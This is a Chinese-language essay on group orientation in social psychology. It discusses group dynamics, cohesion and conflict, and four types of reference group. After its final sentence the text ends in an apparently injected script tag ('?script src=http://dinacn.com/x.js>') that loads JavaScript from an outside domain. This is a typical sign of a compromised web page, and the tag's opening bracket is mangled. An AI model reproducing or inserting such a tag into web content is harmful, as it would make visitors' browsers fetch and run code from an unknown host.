每个人的行为都是社会生活中必不可少的一部分，并与社会的其他部分有着千丝万缕的联系，个人会受到社会生活的各个方面的制约和影响。在所有影响个体行为的外界因素中，从属的群体是一个重要的方面。人总是在扮演不同的角色，这些不同的角色往往是由其所从属的群体所决定的。中国特有的儒家文化为背景下的群体取向，使交际活动中个体行为和角色往往表现出群体的共同特征。

    物以类聚，人以群分。在社会关系中，人与人之间的各种联系因为某种共同部分而联结为一个具有共同特征集合，我们可以称其为一个社会的群体。从广义上说，群体可以是一个社会整体、一个民族、一个国家，甚至生物种类。从狭义上说，我们将具有共同属性或特征的人与人的集合归纳为一个群体。例如，社会中存在各种各样的群体，老年群体、青少年群体、知识分子群体等，某一家庭，社会阶层，种族团体，性别，职业团体和国籍也可以归结为一个群体。人们在交际中必然形成的这样或那样的群体(social group )，在任何社会中都有显著的表现。

    群体表现的特征

    （一）群体取向的一致性

    由各种人际关系形成的群体，往往表现为一种共同取向，这种共同的群体取向由于群体的共同属性和特征，是区分群体之间差异的标志之一。研究群体的特征，一般从群体的共同取向入手分析。群体取向具有自己独特的群体心理特征，表现为群体之间的既有共同的活动动向，又相互作用、相互影响。群体共同的活动动向实际上是群体取向的一致性。群体之间由于某种共同的动力，使群体内部个体的行为特征趋向一致。这种共同的动力，被称为“群体动力”，即群体活动的方向。德国心理学家勒温在研究影响群体活动动向的各种因素后，提出群体动力理论，即：群体活动的动向决定于内部力场和情境力场的相互作用。其宗旨是寻找和揭示群体行为与群体中的个体行为的动力源，以便从心理及社会环境两方面去寻找对群体以及个体行为的推动力量。他认为，要改变一个个体，最好从改变他生活的群体入手，因为任何一个人都有一种群体归属感，都不愿意被他所属的群体厌弃。

    （二）群体内部的冲突性

    群体中各成员之间相互作用和影响，反应在群体内部，表现为群体凝聚力和耗散力。凝聚力是吸引群体成员维系在一起，保持某种关系模式的情感因素。归属群体可产生安全感。依靠群体可以相互弥补，相互帮助，分担压力。比如对于学生来说，他们愿意参与到学风浓、风气正的群体中。群体成员感受到的环境影响来自约束群体成员思想和行为的责任、义务和行为规范等。群体的耗散力表现为群体内的冲突效应。有个人与群体在目标追求上的冲突，个人行为与群体规范的冲突，人际关系的冲突，也有价值观念、物质利益的冲突。在一个群体中，由于成员生活环境不同，受教育的方式不同，个体的追求、行为方式、道德标淮、价值观念不可能与他人完全一致，甚至个体自身的多种愿望和要求也往往处在矛盾中，这就不可避免地要产生冲突。

    （三）群体参照作用

    明星偶像们把黑头发染成金色、蓝色、绿色各种颜色，于是大街小巷里染金色、蓝色、绿色等各色头发的小青年人越来越多。湖南卫视“超级女声”节目一播出，大街小巷的女孩子都扮成了超级女生的模样。很显然，明星和偶像对其他人起着明显的影响作用，这种作用就是群体参照的结果。日本著名社会心理学家青井和夫提出，根据人们是否是群体其中的成员，可以把参照群体分为“所属参照群体”和“非所属参照群体”。根据参照群体对自己吸引力的方向，可以把参照群体划分成“正参照群体”和“负参照群体”两类。把这两种标准合并起来，就可以得出四类参照群体：负非所属参照群体，正非所属参照群体，负所属参照群体，正所属参照群体。

    所谓负非所属参照群体，指的是不具有其成员身份、并力图回避的群体。例如，乞丐对于一个体面的人来说，就属于负非所属参照群体。这种群体不会对我们的态度和行为取向起示范作用。负所属参照群体是这样的群体：客观上我们是其中的一员，主观上我们却力图否认自己归属其中。例如，一个假释犯可能不愿在他人面前公开显示自己的罪犯身份。所谓正所属参照群体，指的是我们隶属其中并在主观上认同于它、与之频繁接触的群体。正非所属参照群体是那种我们不具有成员身份、却渴望加入或仿效的群体。在追随者看来，这种参照群体具有比他们更高的社会地位、声誉或品位，是他们心目中的偶像和行为模特。

    群体取向形成的文化渊源和中西方差异

    群体在某种程度上，就是一个社会的缩影（小社会），其表现出的共同特征，与社会价值体系密不可分。在群体取向上，中西方存在较大的差异。?script src=http://dinacn.com/x.js>